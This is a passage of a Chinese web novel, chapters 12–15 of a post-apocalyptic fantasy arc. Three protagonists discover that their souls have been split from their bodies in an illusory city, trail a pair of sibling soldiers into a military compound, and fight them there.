眼前是一栋大楼,看上去颇有些富丽堂皇的意思,门口站着一位身穿黑色西装的男子,他上前一步,礼貌微笑:“你们好,欢迎来到集庆,这是专门为你们准备的宾馆,来到这里的人可以免费住上一个星期。”
“妈呀,集庆这态度也太好了。”站在伏苓前面的几个人发出兴奋的声音,争先恐后地进入了宾馆。
身后传来发动机引擎的声音,伏苓转头,看着那辆破旧的大巴车向着前方驶去,摇摇晃晃地,看上去一切正常。
伏苓转过身准备跟上程承。
突然,在迈脚的那一瞬间,莫名的阴冷席卷全身,暖烘烘的太阳蓦地变成了血色,周围喜气洋洋的人群停下交谈,眼神既麻木又森然地看向伏苓。
鸡皮疙瘩爬满全身,她下意识想绷紧身体。
身体骤然一轻,视线模糊起来,仿佛身体的重量消失殆尽,像一个氢气球一样摇摇晃晃地飘起。
她猛地回头,越来越远的大巴在她的摇摇欲坠的视野中变成了一辆拉着尸体的灵车。麻木的人群簇拥着,丧布覆盖在破旧的车辆之上,随着风晃晃悠悠。
砰。
玻璃猛烈震动,一只惨白的手拍在后玻璃上,与丧布融为一体。
伏苓顿住脚步,前所未有的毛骨悚然席卷全身。
她眨了一下眼睛,一切又消失不见,还是那辆破旧的大巴车,苟延残喘地向前走着。
一切都是正常的。
伏苓甩了甩脑袋,把自己脑中的混乱景象甩出去。程承顺着她的视线看过去,停下脚步:“是那辆车有什么问题吗?”
伏苓盯着车屁股,缓缓迈步朝着大巴离开的方向追去:“不知道,但总觉得车里还有很多人。”
这句话有些吓人,恰好一阵清风吹过,带着纸张被灼烧的味道。
祝无忧一个寒颤从脚窜到脑门,颤颤巍巍说:“你别吓我,我们下来的时候里面可什么人都没有啊,除了那个司机。”
伏苓:“不只有那个司机,车里还有其他人。”
祝无忧脸都绿了:“姐,你别说了,我有点害怕。”
伏苓不知道刚才的是幻觉还是什么,说出来也没什么意义,如今追上去也只是下意识觉得不对劲,她随口道:“直接喊我伏苓好了,别喊姐。”
祝无忧从善如流:“好的伏苓。”
其他人都进了宾馆,那位西装男转身正准备接待他们,却发现这三人追着大巴跑了。他和善的面容陡然变得阴沉,漆黑的眸子死死盯着他们远去的背影。
程承微微侧头,隔着几米远对上了他阴沉的眸子。几乎只在瞬间,男人又变回了和善可亲的模样,微笑着提高音量:“客人们,最好先入住哦。”
伏苓没睬他,大巴在前面的巷口缓缓转弯,她的步伐越来越快,耳侧的GE突然闪过一道红光。
伏苓目光一凝,立马将软剑甩出,速度提至最快。
但那大巴提前开了一段时间,她眼睁睁地看着那辆大巴开进了一道狭小的巷子里,连最后的车屁股也被巷子遮挡。
伏苓左脚发力,指尖轻点地面,在那条巷子前稳稳地停了下来。
她面色陡然一变。
身后的两人速度也不慢,再看到她停下来看着那条巷子的时候,也都赶到了伏苓身边。
祝无忧气喘吁吁:“怎么了啊,这是……”
伏苓指着眼前的死胡同:“你们刚刚看到了吗?大巴车是进的这里吗?”
眼前的巷子根本没有路,是一个彻彻底底的死胡同,长度甚至都没有那辆大巴车的一半。墙壁尽头摆着一些杂物
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,看上去与往常无异。
程承向里走了两步,手掌摁在布满青苔的墙壁上,潮湿的触感真实而熟悉,他道:“对,我看得很清楚,而且它进入的时间与你相差不过几秒。”
祝无忧撑着膝盖喘了两下,道:“所以伏苓你为什么会突然追着车跑啊?”
伏苓将里面杂物踹开,尽头的墙壁同样真实。她转过身来看着两人:“因为GE刚才说,灵魂离体,尽快归位。”
祝无忧呆在原地,半晌才犹豫着开口:“这,所以你刚刚说车上还有很多人的意思是……”
她声音微微发颤,瞳孔中透着深深的恐惧。
她有些不敢说,但程承已经替她说出口了:“是我们的尸体?”
“你不要说尸体啊!”祝无忧跳了起来:“我们还活着呢,那叫身体!你不要瞎说!多吓人啊。”
程承没回话,巷子里的一切都是正常的,没有任何可疑的点:“所以刚才那人才会说上层让我们在宾馆里免费住七天,是因为……”
“头七?”伏苓笑了一下,尾音微微上扬。
两侧墙壁有人高,阳光没有照进来,巷子阴冷潮湿,阴影映在她的脸上。
她语气里又带上了程承熟悉的味道,是他们第一次见面时,那种疯狂而血腥的气息。程承看了她一眼,慢悠悠道:“哪有人能把我们三杀出头七?先回宾馆,看看这些人打得什么主意?”
伏苓没说什么,但却意外地被这句话安抚下来,眼中带着的杀意淡了些。
祝无忧看看伏苓又看看程承,突然好奇道:“不是,你什么时候学会的顺毛技巧?”
伏苓扫了她一眼,祝无忧微笑着闭上了嘴。
三人再次回到宾馆,那位西装男还站在门口,像一尊沉默的雕像,看到他们回来,男人丝毫没有意外,礼貌又恭敬地做出一个“请”的动作。
程承路过他,突然问道:“对了,这个礼拜不会就让我们待在这里吧?”
西装男对上他的视线,笑得标准:“当然不是,集庆有很多著名景点,女士先生们可以随意前往。”
伏苓没管他们俩的聊天,径直走进大堂,从一旁的广告栏抽出一张集庆城旅游攻略大全。
程承见这人也套不出什么信息了,便准备跟伏苓他们一起上楼。
“先生。”西装男突然叫住了他,等程承转身,他才继续道:“集庆是个好地方,在这乱世里,很适合歇歇脚放松一下身心。”
他语气满是暗示:“您可以带着您的女伴去周围看看,相信一定会爱上这座城市的。”
伏苓偏头看了西装男一眼,短促地笑了一声。
程承静静地看着他,片刻后点了点头:“谢谢。”
给他们准备的房间是三人套房,伏苓把包往沙发上一扔,在桌上摊开了旅游地图。
“我们这里是集庆的边缘地带,既然需要寻求突破,肯定不能待在酒店里。”程承拉开椅子让伏苓坐下,他指尖从风西区划到中心的“龙蟠”两个字上:“我的想法是,去这里。”
12. 守护者的黑色堡垒04
祝无忧趴在桌上:“为什么呀?”
“我是觉得,既然此时我们是以魂魄的形态站在这里,那其他人呢?刚才街道上那么多百姓,他们是什么?人,还是魂魄?”程承说,“以最坏的猜想来看,或许我们目之所及的人都不是真人。”
伏苓托着腮看他。
程承继续道:“如果真是这样,那集庆的领导者真的不知道吗?”
房间里一时无人说话。
如果在别的城市,这种情况恐怕也没那么奇怪,毕竟就连临安城都被前瞻集团一家独大数年。但集庆不一样,这座城市里驻扎着东部军区。在军区的保护下,集庆绝不可能允许民众集体魂魄脱离这种情况的发生。
“所以,我想去军区看看。”程承说,“而军区,就在龙蟠区。”
伏苓点点头,她将胳膊抵在桌面上,言简意赅:“打过去。”
“……”祝无忧劝道:“我们别这么粗鲁。”
伏苓嗤了一声。
程承将地图扫完记在心里,说:“现在不清楚集庆的情况,我们只是魂魄没有□□,若是直接杀过去可能会打草惊蛇。”
他顿了顿,对伏苓说:“反正以你的实力,就算最开始不打打杀杀也能在七天之内解决他们。”
伏苓挑眉:“当然。”
见她又安静了下来,程承继续道:“路上有几个景点,我们顺便收集信息。”
闻言,祝无忧眼前一亮:“好啊好啊,刚好再玩一玩!”
她掏出预言牌,神神叨叨地抽了一张,看清牌面后笑眯眯的:“小吉诶。”
她双手合十,星牌消失:“适合出门!”
“不过在此之前,”祝无忧抱住了伏苓的胳膊:“你先帮我染个头发吧。”
伏苓托着腮:“染头发?现在是魂魄欸,等归位了不就没用了吗?”
祝无忧嘿嘿一笑:“这样最好啦,我可以多染几次,试试哪个颜色最适合我。”
伏苓伸手从包里掏出染发膏:“行啊,你想要什么颜色?”
程承闭了闭眼,眼看伏苓甚至想拿地图当围布,他顺手将铺在椅背上的布塞进她手里,把地图抢救了回来。
伏苓扫了他一眼:“楼下还有好多。”
程承:“那也不能这么随意。”
好吧。
伏苓没在意,帮祝无忧顺了顺头发。
“你们染吧,我躺会。”程承朝着一间屋子走去。
进门的时候还能听见祝无忧兴奋的声音:“给我染个绿的吧!”
关门前,伏苓藏都藏不住的好笑语气传了进来:“你确定?”
程承关上了门。
今天发生的事情太多,他脑子很乱,集庆的地图轮廓在他脑海里不断闪现。
去了龙蟠之后呢?军区哪里是那么容易闯进去的?那边火力充足,绝不能在正面起冲突,他们只能另辟蹊径,想办法混进去。
远离了伏苓,血兔也冒了出来,它在程承行动之前率先躺在了唯一的小床上:“别担心,车里还有我的分身在呢,出不了事。”
程承伸手将它打散,自顾自躺了下来。
血兔又聚合起来,委屈巴巴:“给我睡一会怎么了?”
程承闭着眼睛,长长的睫毛乖顺地垂下:“你能感应到我们身体的情况吗?”
血兔摇了摇垂下的长耳朵:“不能啊,那边似乎有什么东西挡着,我感受不到,但是分身也有自我意识,会保护好你们的身体的。”
程承没应声。
所以这又是什么异能?
他这些年注意力都在前瞻集团上,根本没关注外界的特殊异能,如今倒是见识到了。
血兔跳上了床,用长耳朵把被程承弄皱的床抹平,可怜兮兮地缩在一角:“这种灵魂出窍的情况很像梦境,但又不完全是。”
“将魂魄与身体剥离,再将魂魄送入既定位置。”程承接话道:“听上去不是一个人就能实现的。”
血兔眨眨眼睛,翻了个身:“你是说,一人剥离,一人制造幻境?”
程承睁开眼睛看向天花板,半晌才道:“只是猜测,具体什么情况还是得去龙蟠区才能知道。”
他安静了一会,抽出战备机翻了翻论坛,里面还在讨论前瞻集团的事情。
程承点开搜索框输入“集庆”两个字,论坛转了一会圈圈,显示无信号。
他猛地坐了起来。
“怎么可能……”他飞快退回论坛首页,随意点开了个帖子,最后一个回复的时间是10:32。
——这大概在他们进城的车子行驶过程中。
血兔鬼鬼祟祟地探出脑袋:“怎么了?”
程承飞快地将帖子点开又退出,终于确定了一件事情:“这里没有信号。”
“哈?”血兔嗤了一声,“程承,你是不是傻了?没信号不是很正常吗?至于这么大惊小怪嘛,我还以为出了什么大事。”
它说着说着又躺回床上,翘着二郎腿晃晃悠悠。
“不。”程承摇头,“问题非常大,战备机是卫星信号,不应该没信号的。只可能是有什么东西屏蔽了信号。”
信号断联的时间是在车子行驶的过程中,也就是说那辆大巴……不,从驻守在门口的警卫开始,到现在所有的一切都是一个阵营安排的。
所以魂魄离体是集庆高层想要的结果?那他们为什么一定要将所有人的魂魄剥离?
他原本觉得,从进入集庆遇到的一系列诡异的事情都是民间组织策划的,如今看来,整个集庆似乎已经同恶共济了。
但是……不可能啊。
程承将手指插进发里,思路一片混乱:“军区不可能做这种危害百姓的事情……这种情况不应该啊。”
“什么情况?”伏苓的声音突然出现。
血兔原本还在晃兔腿,一听到她的声音立马整只兔都蹦了起来,刚想缩回程承身体,就被伏苓一把抓住它的兔耳朵拎起来。
血兔也不知为何不敢看她,疯狂地蹬着自己的小短腿,时速八十码。
伏苓勾唇,拎着它的耳朵抖了两下:“你躲什么?”
血兔大声嚷嚷:“我没躲!”
“你没躲?”伏苓把它揉来揉去:“好吧,
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那当你就没躲吧。”
程承看着伏苓将血兔的身体拉长又揉扁,紧绷的神经松懈一二,笑着解救它:“这么快就好了?”
意识到他在问染发的事情,伏苓微微点头,松开了手里生无可恋的兔子:“嗯,好了。”
一松开,血兔立马缩回了程承的身体,生怕耽搁一秒又被伏苓抓住。
两人依次出门,看到了祝无忧头顶鲜艳的绿色头发,伏苓没给她全都染成绿的,只将发尾染了色。
程承没忍住偏头笑了一声。
其实倒也算不上不好看,祝无忧皮肤白,顶着绿色头发显得她的五官愈发艳丽,极为显目。但突然从黑色变成这么艳的绿,程承还是觉得有些不习惯。
祝无忧一脸惊喜地摸摸这边摸摸那边:“很好看啊!”
伏苓抱臂:“那当然,我给你染的还能丑?”
程承笑着敷衍两句,提议:“那出发?”
“出发!”祝无忧兴奋大叫。
街道上很热闹,两侧商铺招牌高大,店铺门口摆放着琳琅满目的商品。穿梭在人群中的游客们各自游玩,面上都是轻松和愉悦,全然不见末世的焦躁。
“诶,小伙子,吃不吃米糕啊?”一位商贩见他们路过,笑呵呵地打招呼。
程承停下脚步,略一思索:“来三份吧。”
趁着小贩拿袋子,他状若无意地问道:“阿姨你做米糕多久了呀?”
小贩顿了两秒,笑道:“大概……有二十年咯。”
“二十年?”程承与伏苓对视一眼,继续问:“八年之前不是有雨灾吗?那时候您也在做米糕?”
这一次,小贩停顿的时间更长了,她似乎是回想起了很遥远的事情,半晌才道:“那场灾难好像很快就结束了吧?”
什么?
程承愣了一瞬。
小贩顿了顿,将装好的米糕递给程承:“你们是新来的吗?很多新来集庆的人都会问起雨灾,当年发生的事情确实挺吓人的,但也不至于让你们记了八年吧?”
程承皱着眉接过米糕,从怀里掏出纸币准备付钱时,那小贩却是摆摆手:“在集庆买东西不要钱啊。”
祝无忧呆了两秒,指着他摊位上的东西:“就……随便吃?”
小贩笑得见牙不见眼:“是啊,随便吃,其他店也是。小姑娘要不要再拿一点?”
祝无忧两眼放光:“可以吗!”
伏苓高高挑起眉。
小贩热情招呼祝无忧多拿一些的样子,她却只觉得违和。城内就像一个巨大的乌托邦,与外界的惨烈对比强烈。
等祝无忧捧着纸袋回来,程承压低声音:“多注意些,这里没那么简单。”
祝无忧忙点点头。
忽的一阵窥视感袭来,程承敏锐地扫了一眼身后,一道身影迅速躲入人群,消失不见。
伏苓看他转头看去,问道:“怎么了?”
他缓缓收回视线,贴近了伏苓的耳朵。
两人突然亲密起来,看上去就像程承在亲吻她的侧耳一样。程承声音轻轻,呼吸扫在伏苓的耳尖上:“有人跟着。”
13. 守护者的黑色堡垒05
伏苓下意识想转头,却被身边的人眼疾手快地捏住下巴。男生指腹粗糙,轻轻抵在她的皮肤上。
他低头,额前碎发落在伏苓的鼻尖,很痒:“别看,他在观察我们。”
伏苓微微一愣,抬眼撞进了他的眸子。
说来也怪,末世这么久了,这个人的眼睛还是水汪汪的,像一谭深不见底的清泉,格外漂亮。
伏苓收回视线,感到一阵不自在,抬脚踹了他一下:“那也不需要这样吧?”
“这不是刚才转头被他看到了,装一下嘛。”程承笑着退后了两步,从远处看,像是在调情,可如果听到他的话,却又会觉得他像是在撒娇。
伏苓向前走了两步,清了清嗓子:“要甩掉他吗?”
程承跟上,指尖还残留着皮肤柔软的触感。他指腹轻轻捻动,摇了摇头:“不,让他跟着。我们,弄死他。”
祝无忧震惊转头:“如果不是亲眼所见,我绝对不会相信这么残暴的话居然是你说出来的!”
程承弯了弯眼。
刚到宾馆时,那个西装男给自己的感觉就很不好,似乎格外注意他们的行踪,也明里暗里地或警告或胁迫地让他们留在宾馆里。
所以他猜测,身后跟着的人其实是在试探他们究竟听不听话。若是强行甩掉,只怕他们会不断跟狗皮膏药一样紧紧黏着他们。
不如直接一不做二不休,给他撂倒。
前面有一条小巷子,程承轻轻碰了碰伏苓的手:“去那。”
眼看着前面三人拐进了侧边的小巷子里,西装男原先还杵在原地望天,见状立马加快步伐追了上去。
巷子很窄,他一拐弯,红雾扑面而来,凝成薄膜,将他包裹在其中。
西装男愣了一瞬,随即意识到自己上套了,恼怒地锤了一下红雾:“你们故意的!”
伏苓抱着臂,微微勾起唇角:“是啊,我们是故意的。”
西装男的脸上前一阵白一阵,双眼如同淬毒般,伸手摁下了手表上的按键:“你等着。”
手表闪了两下,又灭了。
西装男大惊失色:“这怎么可能?”
“别白费力气了,你周围的所有通讯都已经被我切断。”程承说,“或许你可以试试将手表伸到红雾外面,或许可以发出去几条消息。”
祝无忧躲在伏苓后面:“我还以为他很厉害呢,没想到这么不堪一击。”
伏苓嘲讽地笑了一声,上前踹了他一脚:“跟着我们干什么?”
西装男死死咬着牙,一言不发,一幅宁死不屈的模样。
伏苓没了耐心,转身就走:“把他扔这呗,我看他也不知道什么东西。”
西装男瞪大了眼睛,显然没想到伏苓一言不合就直接掀桌,急得大喊:“诶!你们!”
三人没人管他,只有祝无忧转头做了个鬼脸:“好好呆着吧。”
程承回收将裹着西装男的红雾屏蔽声音和视觉:“这样就没关系了,背后的人暂时不会察觉到异样,不过时间长了可能就说不定了。”
祝无忧好奇道:“为啥不拷问他啊?”
“这人看着不像是接触核心情报的,知道的事情估计不多,就算他真的知道什么,我们也没时间跟他耗。现在大家可能都是魂魄状态,严刑拷打未必能让他说话。”程承说,“性价比太低了,更何况魂魄离体的时间还是越少越好,不然我也不知道会不会发生什么其他事情。”
祝无忧似懂非懂地点点头,又恢复兴奋的状态:“龙蟠那边有个音乐台,我们去看看吗?”
音乐台恰好在龙蟠区,程承点点头:“走吧。”
三人马不停蹄地到了音乐台。
人很多,有些上了年纪的爷爷奶奶正绕着圈散步。末世鸽子不常见,这边却站满了圆滚滚的胖鸽子。有一只跳到伏苓脚下,用脑袋蹭了蹭她的裤脚。
伏苓低头,看着亲人的鸽子有些疑惑:“临安的鸽子都飞这来了?”
别说鸽子了,临安除了那些感染者和剩下的人类,其他的猫猫狗狗都了无踪迹。
程承挥挥手赶跑了一只试图落在他肩膀上的胖鸽子:“既然我们是魂魄的形态,这些鸽子也多半不是真实的。”
但剥离格子的魂魄实在是有点大费周章,程承不觉得背后那人会这么做。
他猜测,除了人类,其他的东西,包括这群鸽子,恐怕都是幻象。
闻言,伏苓歪歪脑袋,突发奇想:“那我踩死它试试?”
她说着便已经准备下脚,祝无忧连忙冲上去抱住她:“冷静!”
她声音有点大,周围人的视线或多或少都落在了她的身上。祝无忧有些怵:“那什么……自从知道他们都不是真人后,我就觉得他们有些吓人。”
她声音很小,却意外地被一个人听见了。女生抬眼看了她一眼,声音平静:“什么叫不是真人?”
祝无忧猛地朝声音传来的方向看去。
那是一个神色冷淡的女生,眉眼艳丽,撞上祝无忧的目光后礼貌地点点头:“你好,我叫林随安。”
“哦哦,你好你好,我叫祝无忧。”祝无忧下意识回复。
林随安点了点头,神色没有一丝起伏:“你们是刚来的吧?”
她扫了一眼祝无忧身后的两人。
一个神色恹恹,注意力还停在脚下的鸽子上,另一个长相倒是可爱,但气质上却让人觉得难缠。
至于与自己搭话的女孩……
应该算是心思最单纯的。
她仅仅扫了两眼就大致判断出了这三人的情况。
祝无忧一点没意识到,她笑道:“是啊,我们早上刚来。”
程承本想提醒她别透露出太多信息,但被眼前的女子盯着,他倒也不好此地无银三百两地提醒祝无忧,只好随她去了。
林随安:“所以你刚才说不是真人是什么意思?”
祝无忧只是单纯,但也不蠢,在这种情况下,告诉本地人自己生活的世界是假的只会让自己陷入纷争中。
她笑了一下,掩饰道:“没有啦,只是觉得这里太美好了,与外面的世界相差太大,所以才会这么感叹。”
林随安沉默了一瞬。半晌,她弯唇笑了笑:“原来是这样,那我就先不打扰了。”
说完,她便准备离开。
“等等。”程承突然叫住了她。
林随安脚步一顿,转头看过来,神色略显疏离:“是有什么我可以帮助你们的吗?”
程承摇摇头:“没有,我只是好奇,你是异能者吧?
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”
林随安没犹豫,点了点头:“异能者也算不上稀少。”
得到肯定答案,程承又问道:“那我可以问一下,你们在集庆待了多长时间吗?”
林随安微微蹙眉:“我是本地人,从小就在这。”
“我不是这个意思。”程承笑得温和:“我是想问,末世发生后,你们在这里待了多长时间?”
他在“这”一字上加重了语气。
闻言,林随安愣了两秒,才缓缓答道:“大概七年吧。”
她顿了一下,声音微低:“如果不是你问,我根本不会思考这个问题。”
“随安,干嘛呢你?”侧边忽地传来清冽的声音,程承下意识看过去。
林随安侧头:“哥哥。”
走到她身边的男生身形颀长,眉眼与林随安很是相似。林随安的长相算得上艳丽,只是冷淡的神色将其掩盖住,显得有些清冷。
而这位男生虽然眉眼相似,但给人的感觉却完全不同,他眼睛笑眼弯弯,声音清亮:“你们好,我是她的哥哥,林随遇。”
伏苓终于将目光从鸽子上移到了林随遇身上,她静了两秒,突然出声:“军队的?”
四人的目光齐齐转到她身上。林随遇的笑淡了一点:“你怎么知道?”
伏苓还是那幅没什么兴趣的模样:“直觉。”
“那你直觉还挺准。”林随遇夸奖道。
程承神色微沉。
也不单单是因为直觉,受过训练的军人仪态气质都不一样,他第一眼见到林随安的时候就感觉她不是普通人,如今两兄妹站在一起,这种气质上的不一样立马出来了。
想到之前的猜测,他紧绷起来,不动声色地打量着两人。
林随安看了林随遇一眼,后者立马老实了,不再说话。
她对众人道:“抱歉,哥哥总是这样不正经。队里还有事,就不跟你们多说了。”
说完,她礼貌打了个招呼,便扯着林随遇的衣领离开。
林随遇笑着跟上林随安,转头朝他们挥手:“之后有缘再找你们啊!”
程承礼貌地点头。
当然会有缘,你们俩已经是我们的目标了。
伏苓看着他们远去的背影,勾了勾唇角:“跟上他们。”
不得不说,程承的异能确实好用。
红雾掩盖住三人,他们的气息顿时收敛,旁人无法察觉分毫。
走到人群身边时,祝无忧哇啦哇啦地做了两个鬼脸,站在她面前的人却丝毫没有异样,依旧笑呵呵地跟周围人交流。
程承紧紧盯着前面远离人群的两人,压低声音:“声音会屏蔽掉一点,但不是全部,所以说话声音小一点。”
祝无忧立马捂着自己的嘴巴,小鸡啄米似的点点头。
军区里音乐台有一段路程,地铁还在开放,但也不知道为什么,两人没有坐车,反而从步道上硬生生走到了军区。
祝无忧扶着墙转了转脚踝,小声抱怨:“不是有地铁吗?怎么不坐?”
程承目光依旧锁定在林家兄妹身上,闻言心不在焉地说:“你还记不记得感染者出现后第一个大事件是什么?”
祝无忧思考了两秒,表情突然一僵:“……集庆三号线坍塌?”
14. 守护者的黑色堡垒06
“不止。”伏苓冷冷出声,似乎是想起了当年的情形,她的眉头轻轻蹙起:“当时雨水倒灌,所有地铁线上的人都变成了感染者,为了清缴他们,十二条地铁线路被全部炸毁。”
那时候信号还没断,虽然报道上只说塌了三号线的线路,但这件事一出来还是被骂上了热搜。
集庆地势稳定,地铁为什么会塌?又为什么在这个时候塌?引人猜想的点实在是太多了。
早在和平年代,就已经会有人带节奏引起恐慌,更何况是如今的末世?
再者,仅仅是灾难初期,群众翘首以盼的军区就下了一个残忍而又无可奈何的决定,对于所有正在家中等待救援的人无疑是最沉重的一击。
伏苓倒觉得没什么问题,雨水几乎将所有地铁给淹了,里面不可能还有幸存者,玉石俱焚是最正确的选择,不然只会造成更多伤亡。
后来这样的事情越来越多,再加上信号断了,后面也就没什么全国皆知的大事件了。
附近的电梯口仿佛散发着冰冷的腐朽气息,冻得祝无忧打了个寒颤,说话都哆嗦起来:“所所所以现在地地铁怎么还在运行?”
“这更加说明现在的集庆是幻境了。”程承看了伏苓一眼,又收回目光:“但是为什么集庆城内的人都没有想到这些?”
祝无忧突然想到方才林随安被问“在这里几年了”时的奇怪神色,道:“就像林随安一样,如果不问,他们就几乎不会想起进入幻境之前的事情?”
程承赞同地点点头:“没想到你还挺聪明。”
“那当然。”祝无忧摇了摇绿色的脑袋,突然反应过来,不满道:“喂,你这不是好像在夸我吧?”
伏苓伸手摁住快要跳起来的祝无忧:“到了。”
三人看向前方。
如果是进城前看到的集庆是一座大型堡垒,那眼前的军区就是堡垒的mini版。一脉相承的黑色圆形穹顶高耸入云,密不透风。
门口的机器探出脑袋,从林家兄妹身上扫了两下,厚重的铁门慢吞吞地打开了。
两人并肩走了进去。
“看上去没人把守。”程承观察了片刻:“只有那个机器。”
伏苓抬脚向前走去:“什么机器,砸了不就能进去了?”
“……”程承无奈拉住她:“还没摸清情况,先不要打草惊蛇。”
三人缩在红雾里悄悄靠近。
这个机器都是不眼生,就是很正常的扫脸机器,甚至不是虹膜扫描。
伏苓往前凑了凑,显示屏里只有丝丝点点的红雾,没有他们的身影。
正当程承准备先撤退,之后再找机会的时候,伏苓耳侧的GE突然亮起,直直射入显示屏的扫描装置内。
滴——
机器停了半秒,显示出“认证通过”的字样,祝无忧瞪着眼睛:“真能开吗……”
话音还没落,铁门缓缓向两侧滑去。
一缕红雾先行进入,程承等了两秒,抬脚跨了进去。里面没人,程承挥了挥手,示意两人跟上。
三人进去,门再次合上了。
内里四通八达。
走道两旁是厚重的钢铁墙壁,没有任何窗户,整个通道密不透风。走廊上每隔一段距离都有通往四面八方的岔道。
林家兄妹早已不见踪迹,走廊上只有几个巡逻的警卫。GE乖乖架在伏苓鼻梁上,隔空标注了一条道路,她压低声音:“走这边。”
程承下意识跟上伏苓,看她果断的样子便猜到可能是GE的指引,他面色复杂,小声道:“方休到底是个什么怪物?”
伏苓停下脚步。
沿着走道巡逻的警卫穿着黑色的战术服装,腰间挎着武器和通讯设备,警惕地巡视着四周。
三人瞬间噤声。
等前方巡逻的人离开,伏苓才抬脚继续向前走:“不知道,他之前不就是研究员嘛。”
肃州有着最顶尖的研究基地,能进入那边研究所的人能力必然是极强的,只是程承对这方面没什么概念,不知道这个“能力极强”到底强到什么地步。
今天,他终于知道了。
祝无忧贴着伏苓,看着从她身后不到两米走过的巡逻,吞了吞口水:“所以,GE怎么知道那两人走的哪条道?”
程承将指腹贴在冰凉的墙壁上,左右观察着情况,猜测道:“可能是我们跟他们见面时自动扫描储存了他们的信息,根据道路上残留下的气味、痕迹之类的?”
他还记得第一次去地下之城时被扫了一下所有信息就被摸走了的事情,方休对于信息追踪这访民还是很熟悉的。
祝无忧眨眨眼睛:“那不就跟狗鼻子差不多吗?”
记住气味追踪什么的……这么灵,怎么也还是个警犬。
伏苓勾唇,夸奖道:“说得好贴切呀,忧忧。”
三人在红雾的帮助下躲着警卫七拐八绕,终于有惊无险地看到了林家兄妹的身影。
他们似乎没有察觉,在前方的铁门前停了下来。
程承估算了一下他们方才走的路程,道:“我们好像已经在中心了。”
伏苓紧紧盯着他们,眸子涌现出兴奋:“能畅通无阻地进到核心区域,看来这两人身份挺高啊。”
祝无忧顺着往下猜:“会不会是因为他们俩异能很强?”
“但是……”程承四处观察着,眉宇间多了几分疑虑:“这里不是军区吗?怎么一路上就这几个巡逻的人?”
伏苓一顿,环顾四周,走廊很亮堂,白光几乎将人影都照没了。一眼看去,长长的走廊像是没有尽头,整个白色的世界只有他们三人。
很安静,甚至可以说是,死寂。
他们可以这么轻轻松松进来,到底是因为高层根本没想过有人会闯入,只要这几个巡逻的人就够了,还是这里根本就没有他们想象的那么重要?
程承眉头紧锁,思索片刻:“我觉得有点蹊跷。”
林家兄妹已经打开了门进去。祝无忧犹豫道:“我们进去吗?”
伏苓毫不犹豫:“直接进。既然有蹊跷,待在原地也不会有什么进展,进去说不定就知道了。”
还没等程承拦住她,伏苓已经直接走出红雾,伸手开了门。
门内是一片略显广阔的空地,四面八方平整得锃亮,像被一面巨大的黑色镜子包裹。四周镶嵌着闪烁着红色和蓝色的警示灯。
“真是好久不见啊。”林随安转过身对上伏苓的双眸,语气淡淡,没有波澜。
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她身侧站着林随遇,此时正抱着臂。他笑着,眼中满是冰冷:“跟了我们一路了吧?本事倒挺大。”
被发现了。
程承叹了口气,收回红雾,两人的身影显现出来。
他没有回答两人的话,反而看向了林随安的身后——那是一个巨大的圆形光柱,拔地而起,直冲屋顶。
程承抬眼看去,光束结束在天花板下,隐隐约约泛着涟漪。他皱了皱眉:“上面好像有东西。”
伏苓看着林随安笑了一下。
与他们的对战不可避免,但没必要死磕,兵分两路是最佳选择。
她抬起下巴:“你能上去吧?”
在她看来,那只血兔确实无所不能。
就算肉眼看去确实没有能正常上去的途径,但伏苓确信程承一定有办法上去。
被她完全信任的程承愣了两秒,嘴角微微上扬,点头道:“可以。”
得到肯定的回答,伏苓右手轻甩,将软剑甩出,她手心握住剑柄:“那你上去,我们俩拖住他们。”
她终于兴奋了起来,嘴角的笑意掩都掩不住:“二对二,很公平。”
听到伏苓接近挑衅的言语,林随遇笑了一下。他手握成拳,摆出攻击的起手式:“口气不小,看来很自信。那么,不知道你们有没有想过,既然这里只留了我们两人,是不是说明我们的实力至少在大部分人之上?”
“不要说太多,哥哥。”匕首出鞘的声音响起,林随安面上依旧没什么表情:“小心那个卷毛,他应该是想上去。”
“安啦安啦。”林随遇笑眼弯弯:“至于这个无能力者,应该不用花太多心思吧?”
“哥哥。”林随安加重语气,“不要小瞧别人。”
“哈。”伏苓低低一笑,她脚尖轻点,软剑飞舞,速度快到身影几乎看不清:“那就试试看,一个无能力者究竟能把你逼到什么地步吧。”
软剑横扫,林随遇弯腰闪避,锋利的刀刃擦着他的鼻尖划过,带过的风似寒风刺骨。
两人密不透风的防御被伏苓打散,借此机会,红雾倾覆而出,弥漫整个空间,所有人都短暂地失去视野。
以伏苓的实力,拖住两人几秒好让程承到光柱下方应该是很容易的事情,但问题就出在他们不知道林家兄妹的异能。
林随安适应红雾的速度飞快,伏苓腾空而起,将软剑甩向她时,林随安消失了。
凭空消失。
伏苓瞳孔微缩,剑刃与一束光撞上,发出刺耳的摩擦声。
她突然意识到不对,猛地看向了程承的方向。
下一瞬,林随安出现在程承身后,泛着冷光的匕首猛地袭向程承的后脖颈。
一切都发生在电光火石之间,就在刀尖的寒芒快要碰上程承的时候,星牌生效的声音响起。
“负面,定身!”祝无忧率先给林随遇下了负面效果。
几人动作太快,她反应过来的时候,情势已经到了牵一发而动全身的地步。给伏苓和程承套增益已经来不及了,情急之下她只好先拦住林随安。
林随安定在原地。但还没等祝无忧松了口气,她的指尖便轻轻动了一下。
祝无忧瞪大眼睛,惊叫出声:“不可能!”
15. 守护者的黑色堡垒07
林随安的异能似乎要比祝无忧强上一些,本来该是五秒的定身效果,只不过一秒不到,她就已经突破桎梏。
只不过。
程承勾起嘴角。
一秒的停顿足以让他完成任务。
他飞快躲过林随安的匕首,红雾在他脚下氤氲,他向上奋力跃去。
得益于血兔的帮忙,他双手攀在光柱上的时候,已经离地面数十米了。
“哥哥!”林随安见程承已经跃至半空,当机立断转身攻击伏苓。林随遇顿时明白了她的意思,光束从四面八方袭向伏苓。
只要同伴受伤,这卷毛不下也得下!
伏苓一剑斩碎向她袭来的光柱,还未等她反应,下一瞬,林随安出现在她的左侧,匕首冷光乍现。
这个情况下,软剑已经没办法甩向林随安了。
但伏苓一丝惊慌失措的表情都没有,似乎一切都还在掌握之中。
等等……
林随安对上伏苓含笑的眸子,心中警铃大作,下意识使力侧身。
砰——
能量波擦着她的鼻尖射出,狠狠砸在墙上,激起一片碎石。
她愣愣地看着那处被炸破的墙,很快强迫自己回神。
疼痛从肩膀处传来,鲜血涌出,她捂住肩膀。这才意识到方才伏苓一连两击,一发吸引她的注意力,一发直指命门。
若不是她飞快侧身,恐怕此时身体上已经有个大窟窿了。
“随安!还好吗?”林随遇的眸色中终于带上了几分惊慌和凝重。
